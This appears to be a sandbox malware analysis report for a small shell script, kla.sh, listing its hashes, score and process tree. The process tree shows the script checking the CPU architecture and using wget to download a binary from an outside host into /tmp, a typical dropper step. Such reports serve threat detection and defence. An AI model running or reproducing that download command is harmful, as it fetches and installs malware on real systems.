182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09

Analysis

max time kernel
147s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/09/2026, 06:32

Target
kla.sh
Size 1KB
Sample260927-hapzqsaf25
SHA256 182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09
MD5 94c34b0f4a3ad64665b52b6c0eff5088
SHA1 bc0db15f19ff5d67574161eb19d6aca9e72c935e
SHA512 4d849cbcd56bfdcad01a853bdb85e426e24b7bae67c5a493f8f9167264796acfedd2767fc05164a100cd99ecae4af956e611c8b019f0e082cc9cdf222430a785
TLSH
T1EC1123E7F8708D327549043C7B5EB65099CB0A3F19F4A84184D6BC60BD2CA15A04EF23
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/q.tmp	wget

/tmp/kla.sh
/tmp/kla.sh
1⤵
PID:1538
- /bin/uname
  uname -m
  2⤵
  PID:1539
- /bin/rm
  rm -f q q.tmp
  2⤵
  PID:1540
- /usr/bin/wget
  wget -q -O q.tmp http://wemqmewkqewq.work.gd/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1541